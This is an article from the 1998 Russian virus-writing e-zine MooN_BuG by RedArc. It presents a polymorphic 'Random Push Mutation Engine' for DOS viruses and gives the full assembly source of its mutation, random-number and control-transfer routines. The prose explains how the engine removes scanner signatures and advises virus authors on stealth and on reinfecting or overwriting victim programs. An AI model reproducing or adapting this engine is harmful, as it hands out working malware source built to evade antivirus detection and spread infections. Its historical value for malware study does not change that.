[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 5, May 1998                                           file 00f

                     Advanced Random Push Mutation Engine
                                                     by RedArc

После  некоторой  модернизации  и  усиления  полиморфизации  ангина  приобрела
довольно  перспектабельный  вид.  Достоинством  данной ангины является то, что
генерится  абсолютно  случайный  код, т.е.  не  совсем  случайный  -  нагрузка
на   него та же, но нет сигнатуры как таковой  во  всей  смутировавшей  копии.
Остались   лишь   байты  копирования  тела  вируса   из   стэка   и   передачи
управления.   Здесь  я полностью автоматизировал процесс  мутаций.  Часть кода
(засылка  в  регистры  нужных  значений)  мутирует  по тому же принципу, что и
остальной  код, разве что регистры остаются постоянными (cx, si, di). Остались
лишь 9 байт:

                 push di      ;байт
                 shr cx,1     ;байт
              @@l:
                  std         ;байт
                  lodsw       ;байт
                  cld         ;байт
                  stosw       ;байт
                  loop @@l    ;слово
                  ret         ;байт

Проблему  я решил следующим стареньким образом: однобайтовые команды доводятся
до слова добавлением nop'а перед или после этого байта. При этом не трогаетсся
лишь  команда loop @@1, так как она занимает как раз слово. Это было не трудно
организовать,  так  как  для  однобайтовых команд изменения регистров механизм
случайного  nop'а уже есть в самой ангине. За всю эту аброкадабру отвечает код
в   ENDE.INC.  Собственно,  если  вы  решитесь  использовать  эту  ангину,  то
желательно  сделать  нормальный  энджин  как  раз для шифрации|дешифрации этих
девяти  байт...  хотя прием с nop'ами тоже подходит, но следует учитывать, что
он  все  же  содержит  сигнатуру,  которую можно вычислить аж двумя способами:
перебираемой маской или "выкидыванием" этих самых nop'ов.
     В  принципе, можно переделать ende.inc таким образом, чтобы те постоянные
байты  так  же  запихивались  в  стек  в  обратном порядке следования команд и
передавать  управление  непосредственно по регистру sp (смотри RPG by FRiZER).
Тогда маски не будет вообще.

     Следует  отметить  еще один важный момент: "мусорные" команды теперь явно
участвуют  в  расшифровке  (их теперь нельзя отсеить) и в то же время являются
непостоянными. Примером генерации участка кода может являться следующее:

               mov  Reg1, Value1
               mov  Reg2, Value2
               xor  Reg1, Reg2
               xchg Reg1, Reg3
               push Reg3

при этом Value1 - это то, что осталось после исходного слова после "обработки"
его  словом  Value2, полученным из генератора случайных чисел. Т.е. теперь нет
даже тех двух постоянных байт ;)

Как  и  где  может  быть  применена  ангина?  Да хоть как и хоть где. Главное,
помнить четыре вещи:
 1.  содержание регистров (ax, bx, cx, dx, si, di, bp) портится, посему, важно
     перед   передачей   управления  программе  восстановить  их  умалчиваемое
     значение.
 2.  во  время  работы  RPME  для  расшифровки вируса в стэке создается  очень
     устойчивая  сигнатура.  Ее  можно  погасить  например простым xor'иванием
     тушки,  т.е.  управление  передается  не на сам вирус, а на декодировщик.
     Было  бы весьма здорово, если этот кодировщик был непостоянным, т.е. хотя
     бы зачатки полиморфизма.
 3.  размеры смутировавшего вируса могут быть весьма приличными, так что стоит
     подумать о стелс-механизме.
 4.  вирус   затирает   тело  жертвы,  посему  он  должен  позаботиться  о  ее
     восстановлении. Здесь подойдут следующие варианты:
     - Satellit (спутник), т.е. вирус должен быть компаньоном;
     - OverWrite (убийца), т.е. убиваем программы напрочь (нежелательно);
     - AutoCure (самоубийца), т.е. вирус восстанавливает жертву на диске
       и запускает ее как субпроцесс, а потом может снова ее инфицировать;
     - MemoryCure (мазохист), т.е. выделяем память для жертвы, считываем ее
       в эту память, там восстанавливаем и передаем на нее управление
       (это не всегда может сработать, например при наличии внутреннего
       оверлейного фрагмента);
     - TSR (хрен во щах), т.е. вирус выделяет себе память, в которой остается
       резидентно, считывает из файла инфу, восстанавливает жертву в памяти и
       передает на нее управление (так же может не сработать)
     - TSRFraud   (шутник),  т.е.  вирус  садится  в  память резидентно, но не
       запускает  жертву,  а  выдает  (или  вообще  молчит) какое-нибудь левое
       сообщение (Bad command or file name) и возвращает управление ДОС. Затем
       при  запуске  инфицированных  файлов  либо  лечит  их  на  диске (метод
       AutoCure) либо в памяти (метод MemoryCure).

     Четвертый  пункт  можно  обойти  еще тем, что вирус должен записываться в
конец  жертвы  лишь  определенной  длины,  так чтобы буфер и стек помещались в
конце сегмента.

Ну  а  дальше...  а  дальше  я  думаю,  что вы без усилий разберетесь в сильно
неоптимизированном   коде...   ;)  Модификация  и  оптимизация  ангины  крайне
приветствуется.  Использование  ее  для  каких-либо  невирусных целей, а также
использование  ее  для  прикрытия деструктивных вирусов, крайне не желательно.



=== Cut ===                                                RPME.INC
; Random Push Mutation Engine
;    (c) by RedArc // TAVC
;------------------------------
;     Main procedure RPME
;------------------------------
;Input:
;       DS:SI - source code
;       ES:DI - destion buffer
;       CX    - length to code
;Output:
;       CX    - new length
;Destroy:
;       DI, BX, BP, AX

;                           --- Main generator ---

RPME proc near
    push si
    push ax
    push bx
    push dx
    push di
    cld
    shr cx,1
    jnc CheckOffs
    inc cx
CheckOffs:
    call RPME1
RPME1:
    lodsw
GENERATE_RND:
    mov bx,9
    call RND
SUB_SUBROUTINE:
    cmp dx,0
    jne ADD_SUBROUTINE
    pop bx
    push bx
    call SUB_DOP
    jmp RPME_END
ADD_SUBROUTINE:
    cmp dx,1
    jne XOR_SUBROUTINE
    pop bx
    push bx
    call ADD_DOP
    jmp RPME_END
XOR_SUBROUTINE:
    cmp dx,2
    jne INC_SUBROUTINE
    pop bx
    push bx
    call XOR_DOP
    jmp RPME_END
INC_SUBROUTINE:
    cmp dx,3
    jne DEC_SUBROUTINE
    mov bx,5
    call RND
    mov bp,dx
    call INCAX
    pop bx
    push bx
    call INC_DOP
    jmp RPME_END
DEC_SUBROUTINE:
    cmp dx,4
    jne NEG_SUBROUTINE
    mov bx,5
    call RND
    mov bp,dx
    call DECAX
    pop bx
    push bx
    call INC_DOP
    jmp RPME_END
NEG_SUBROUTINE:
    cmp dx,5
    jne NOT_SUBROUTINE
    mov bx,5
    call RND
    mov bp,dx
    call NEGAX
    pop bx
    push bx
    call INC_DOP
    jmp RPME_END
NOT_SUBROUTINE:
    cmp dx,6
    jne ROL_SUBROUTINE
    mov bx,5
    call RND
    mov bp,dx
    call NOTAX
    pop bx
    push bx
    call INC_DOP
    jmp RPME_END
ROL_SUBROUTINE:
    cmp dx,7
    jne ROR_SUBROUTINE
    mov bx,5
    call RND
    mov bp,dx
    call ROLAX
    pop bx
    push bx
    call INC_DOP
    jmp RPME_END
ROR_SUBROUTINE:
    cmp dx,8
    jne NO_MUTATION
    mov bx,5
    call RND
    mov bp,dx
    call RORAX
    pop bx
    push bx
    call INC_DOP
    jmp RPME_END
NO_MUTATION:
    cmp dx,9
    je YES1
    jmp GENERATE_RND
YES1:
    pop bx
    push bx
    call NOMUT
RPME_END:
    loop RPME1
    pop ax
    push di
    pop cx
    pop di
    sub cx,di
    pop dx
    pop bx
    pop ax
    pop si
    ret
Push_offs equ $-RPME1 ;byte
push_ax  db 050h
push_bx  db 053h
push_cx  db 051h
push_dx  db 052h
push_si  db 056h
push_di  db 057h
Mov_offs equ $-RPME1 ;byte
mov_ax   db 0b8h
mov_bx   db 0bbh
mov_cx   db 0b9h
mov_dx   db 0bah
mov_si   db 0beh
mov_di   db 0bfh
Mov_AxReg equ $-RPME1 ;word
mov ax,ax
mov ax,bx
mov ax,cx
mov ax,dx
mov ax,si
mov ax,di
Xchg_AxReg equ $-RPME1 ;byte
xchg ax,ax
xchg ax,bx
xchg ax,cx
xchg ax,dx
xchg ax,si
xchg ax,di
Xor_AxReg equ $-RPME1 ;word
xor ax,bx
xor ax,cx
xor ax,dx
xor ax,si
xor ax,di
InfoRPME db 'RPME v.02 by RedArc'
RPME endp

;                        --- Carbotage generator ---

;INPUT:    AX
;OUTPUT:   AX, DX (AX+DX=SomeValue)
SUBAX proc near
      mov bx,ax
      call RND
      cmp ax,dx
      jz DIVIZION
SUB1:
      sub ax,dx
      ret
DIVIZION:
      shr dx,1
      jmp short SUB1
SUBAX endp

;INPUT:    AX
;OUTPUT:   AX, DX (AX-DX=SomeValue)
ADDAX proc near
      mov bx,0ffffh
      sub bx,ax
      call RND
      add ax,dx
      ret
ADDAX endp

;INPUT:    AX
;OUTPUT:   AX, DX (AX xor DX = SomeValue)
XORAX proc near
      push bx
      mov bx,0fffeh
      call RND
      xor ax,dx
      pop bx
      ret
XORAX endp

;INPUT:  AX
;        DX (num Reg: 0-AX, 1-BX, 2-CX, 3-DX, 4-SI, 5-DI)
;OUTPUT: AX - new value
;        DX - mirror word
INCAX proc near
      push si
      push bx
      call MB1
MB1:
      pop si
      add si,DEC_Table
      inc ax
      add si,dx
      mov bx,16
      call RND
      cmp dx,8
      jg DHM
      mov dl,byte ptr cs:[si]
      mov dh,90h
      jmp short MBE
DHM:
      mov dh,byte ptr cs:[si]
      mov dl,90h
MBE:
      pop bx
      pop si
      ret
DEC_Table equ $-MB1
      dec ax
      dec bx
      dec cx
      dec dx
      dec si
      dec di
INCAX endp

;INPUT:  AX
;        DX (num Reg: 0-AX, 1-BX, 2-CX, 3-DX, 4-SI, 5-DI)
;OUTPUT: AX - new value
;        DL - mirror word
DECAX proc near
      push si
      push bx
      call MB1_
MB1_:
      pop si
      add si,INC_Table
      dec ax
      add si,dx
      mov bx,16
      call RND
      cmp dx,8
      jg DLM
      mov dh,byte ptr cs:[si]
      mov dl,90h
      jmp short MBO
DLM:
      mov dl,byte ptr cs:[si]
      mov dh,90h
MBO:
      pop bx
      pop si
      ret
INC_Table equ $-MB1_
      inc ax
      inc bx
      inc cx
      inc dx
      inc si
      inc di
DECAX endp

;INPUT:  AX
;        DX (num Reg: 0-AX, 1-BX, 2-CX, 3-DX, 4-SI, 5-DI)
;OUTPUT: AX - new value
;        DX - mirror word
NEGAX proc near
      push si
      call NP1
NP1:
      pop si
      add si,NEG_Table
      shl dx,1
      add si,dx
      neg ax
      mov dx,word ptr cs:[si]
      pop si
      ret
NEG_Table equ $-NP1
      neg ax
      neg bx
      neg cx
      neg dx
      neg si
      neg di
NEGAX endp

;INPUT:  AX
;        DX (num Reg: 0-AX, 1-BX, 2-CX, 3-DX, 4-SI, 5-DI)
;OUTPUT: AX - new value
;        DX - mirror word
NOTAX proc near
      push si
      call NOTP1
NOTP1:
      pop si
      add si,NOT_Table
      shl dx,1
      add si,dx
      not ax
      mov dx,word ptr cs:[si]
      pop si
      ret
NOT_Table equ $-NOTP1
      not ax
      not bx
      not cx
      not dx
      not si
      not di
NOTAX endp

;INPUT:  AX
;        DX (num Reg: 0-AX, 1-BX, 2-CX, 3-DX, 4-SI, 5-DI)
;OUTPUT: AX - new value
;        DX - mirror word
ROLAX proc near
      push si
      call ROL1
ROL1:
      pop si
      add si,ROR_Table
      shl dx,1
      add si,dx
      rol ax,1
      mov dx,word ptr cs:[si]
      pop si
      ret
ROR_Table equ $-ROL1
      ror ax,1
      ror bx,1
      ror cx,1
      ror dx,1
      ror si,1
      ror di,1
ROLAX endp

;INPUT:  AX
;        DX (num Reg: 0-AX, 1-BX, 2-CX, 3-DX, 4-SI, 5-DI)
;OUTPUT: AX - new value
;        DX - mirror word
RORAX proc near
      push si
      call ROR1
ROR1:
      pop si
      add si,ROL_Table
      shl dx,1
      add si,dx
      ror ax,1
      mov dx,word ptr cs:[si]
      pop si
      ret
ROL_Table equ $-ROR1
      rol ax,1
      rol bx,1
      rol cx,1
      rol dx,1
      rol si,1
      rol di,1
RORAX endp

Save_Al proc near
    mov al,byte ptr cs:[si]
    stosb
    ret
Save_Al endp

ADD_SUB proc near
    push bx
    mov bx,5
    call RND
    pop bx
    push bx
    push si
    add bx,Xchg_AxReg
    xchg bx,si
    add si,dx
    call Save_Al
    pop si
    pop bx
    push si
    add bx,Push_offs
    xchg bx,si
    add si,dx
    call Save_Al
    pop si
    ret
ADD_SUB endp

ADD_SUB_0 proc near
    mov bp,dx
    pop dx
    pop bx
    push bx
    push dx
    mov dx,bp
    push si
    xchg bx,si
    add si,Mov_offs
    push ax
    call Save_Al
    pop ax
    stosw
    pop si
    ret
ADD_SUB_0 endp

SAVE_METOD proc near
    stosb
    xchg ax,dx
    stosw
    pop dx
    pop bx
    push bx
    push dx
    call ADD_SUB
    ret
SAVE_METOD endp

XOR_DOP proc near
    push si
    push bx
    call XORAX
    add bx,Mov_offs
    xchg bx,si
    push ax
    call Save_Al
    pop ax
    stosw
    pop bx
    push bx
    push si
    mov si,bx
    mov bx,4
    push dx
    call RND
;!!!
    mov bp,dx
    shl bp,1
    inc dx
;!!!
    add bp,si
    add si,dx
    pop dx
    add si,Mov_offs
    call Save_Al
    xchg ax,dx
    stosw
    pop si
    xchg si,bp
    add si,Xor_AxReg
    mov ax,word ptr cs:[si]
    stosw
    xchg si,bp
    pop bx
    push bx
    push si
    mov si,bx
    mov bx,5
    call RND
    add si,dx
    mov bp,si
    add si,Xchg_AxReg
    call Save_Al
    pop si
    xchg bp,si
    add si,Push_offs
    call Save_Al
    xchg bp,si
    pop bx
    pop si
    ret
XOR_DOP endp

SUB_DOP proc near
    push bx
    call SUBAX
    call ADD_SUB_0
    mov al,05h
    call SAVE_METOD
    pop bx
    ret
SUB_DOP endp

ADD_DOP proc near
    push bx
    call ADDAX
    call ADD_SUB_0
    mov al,2dh
    call SAVE_METOD
    pop bx
    ret
ADD_DOP endp

INC_DOP proc near
;INPUT: BP - uses register (0-AX, 1-BX, 2-CX, ...)
    push si
    push bx
    mov si,bx
    add si,bp
    push ax
    add si,Mov_offs
    call Save_Al
    pop ax
    stosw
    xchg ax,dx
    stosw

    pop si
    add si,Push_offs
    add si,bp
    call Save_Al

    pop si
    ret
INC_DOP endp

NOMUT proc near
    push si
    mov si,bx
    mov bx,5
    call RND
    add si,dx
    mov bp,si
    add si,Mov_offs
    push ax
    call Save_Al
    pop ax
    stosw
    xchg bp,si
    add si,Push_offs
    call Save_Al
    pop si
    ret
NOMUT endp
=== Cut ===

Блок генератора псевдослучайных чисел

=== Cut ===                                                RND.INC
; Random Push Mutation Engine
;    (c) by RedArc // TAVC
;------------------------------
; Random procedure RPME
;------------------------------
;Input:
;       BX - some max value
;Output:
;       DX - rnd value [0..bx]
;Destroy:
;       BX, DX

Randomize proc near
RM0:
    push si
    call RM1
RM1:
    RM_Offs equ $-RM0
    pop si
    sub si,RM_Offs
    mov ax,word ptr cs:[si+r2]
    mov byte ptr cs:[si+r1],al
    add ah,al
    mov al,byte ptr cs:[si+r3]
    mov byte ptr cs:[si+r2],al
    add al,ah
    rol al,1
    mov byte ptr cs:[si+r3],al
    pop si
    ret
r3 equ $-RM0
db 35
r2 equ $-RM0
db 91
r1 equ $-RM0
db 4
Randomize endp

RND proc near
        push ax
        cmp bx,0ffffh
        jz RND_0
        inc bx
RND_0:
        cmp bh,0
        jnz RND0
        xor dh,dh
RND0:
        cmp bh,0
        jz RND1
        call Randomize
        mov dh,al
RND1:
        call Randomize
        mov dl,al
        cmp dx,bx
        jnc RND0
        pop ax
        ret
RND endp
=== Cut ===

Блок полиморфизации кода передачи управления расшифрованному вирусу

=== Cut ===                                                RND.INC
; Random Push Mutation Engine
;    (c) by RedArc // TAVC
;------------------------------
; Ende procedure RPME
;------------------------------
;Input:
;       ES:DI - output buffer
;Output:
;       CX - length of output buffer
;Destroy:
;       None

RPME_ENDE proc near
     cld
     push ax
     push bx
     push dx
     push si
     push di
     mov ax,0fffch
     mov bp,4
     call NEW_VALUE
     mov ax,MyLength
     mov bp,2
     call NEW_VALUE
     mov ax,100h
     mov bp,5
     call NEW_VALUE
     call CONST_BYTE_1
     mov al,0fdh
     call NOP_MUT
     stosw
     mov al,0adh
     call NOP_MUT
     stosw
     mov al,0fch
     call NOP_MUT
     stosw
     mov al,0abh
     call NOP_MUT
     stosw
     mov ax,0f6e2h
     stosw
     mov al,0c3h
     call NOP_MUT
     stosw
     xchg cx,di
     pop di
     sub cx,di
     pop si
     pop dx
     pop bx
     pop ax
     ret
RPME_ENDE endp


;Input:
;       AL - value
;Output:
;       AX - new value
;Destroy:
;       None
NOP_MUT proc near
        push bx
        push dx
        mov bx,18
        call RND
        cmp dx,9
        jl NM1
        xchg ah,al
        mov al,90h
        jmp short NM2
NM1:
        mov ah,90h
NM2:
        pop dx
        pop bx
        ret
NOP_MUT endp


;Input:
;       AX - value
;       DX - mirror word
;       BP - Num. Reg.
;Output:
;       None
;Destroy:
;       AX, DX
SAVE_BUFF proc near
     push si
     push ax
     call S_B0
S_B0:
     pop si
     add si,bp
     add si,Mov_offs1
     mov al,byte ptr cs:[si]
     stosb
     pop ax
     stosw
     xchg ax,dx
     stosw
     pop si
     ret
Push_offs1 equ $-S_B0 ;byte
push_ax1  db 050h
push_bx1  db 053h
push_cx1  db 051h
push_dx1  db 052h
push_si1  db 056h
push_di1  db 057h
Mov_offs1 equ $-S_B0 ;byte
mov_ax1   db 0b8h
mov_bx1   db 0bbh
mov_cx1   db 0b9h
mov_dx1   db 0bah
mov_si1   db 0beh
mov_di1   db 0bfh
SAVE_BUFF endp

;Input:
;       AX - value
;       BP - Num. Reg.
;Output:
;       None
;Destroy:
;       AX
NEW_VALUE proc near
     push bx
     push dx
P0:
     mov bx,5
     call RND
     xchg bx,dx
     mov dx,bp
     cmp bx,0
     jne P1
     call INCAX
     call SAVE_BUFF
     jmp P7
P1:
     cmp bx,1
     jne P20
     call DECAX
     call SAVE_BUFF
     jmp P7
P20:
     cmp bx,4
     jne P21
     call RORAX
     call SAVE_BUFF
     jmp P7
P21:
     cmp bx,5
     jne P2
     call ROLAX
     call SAVE_BUFF
     jmp P7
P2:
     cmp bx,2
     jne P3
     call NEGAX
     call SAVE_BUFF
     jmp P7
P3:
     cmp bx,3
     je P4
     jmp P0
P4:
     call NOTAX
     call SAVE_BUFF
P7:
     pop dx
     pop bx
     ret
NEW_VALUE endp

;Input:
;       None
;Output:
;       None
;Destroy:
;       AX
CONST_BYTE_1 proc near
     push si
     call C_B_1_0
C_B_1_0:
     pop si
     add si,DATE_CB1
     mov al,byte ptr cs:[si]
     stosb
     inc si
     mov ax,word ptr cs:[si]
     stosw
     pop si
     ret
DATE_CB1 equ $-C_B_1_0
DCB1:
     push di
     shr cx,1
DateLengthCB1 equ $-DCB1
CONST_BYTE_1 endp

=== Cut ===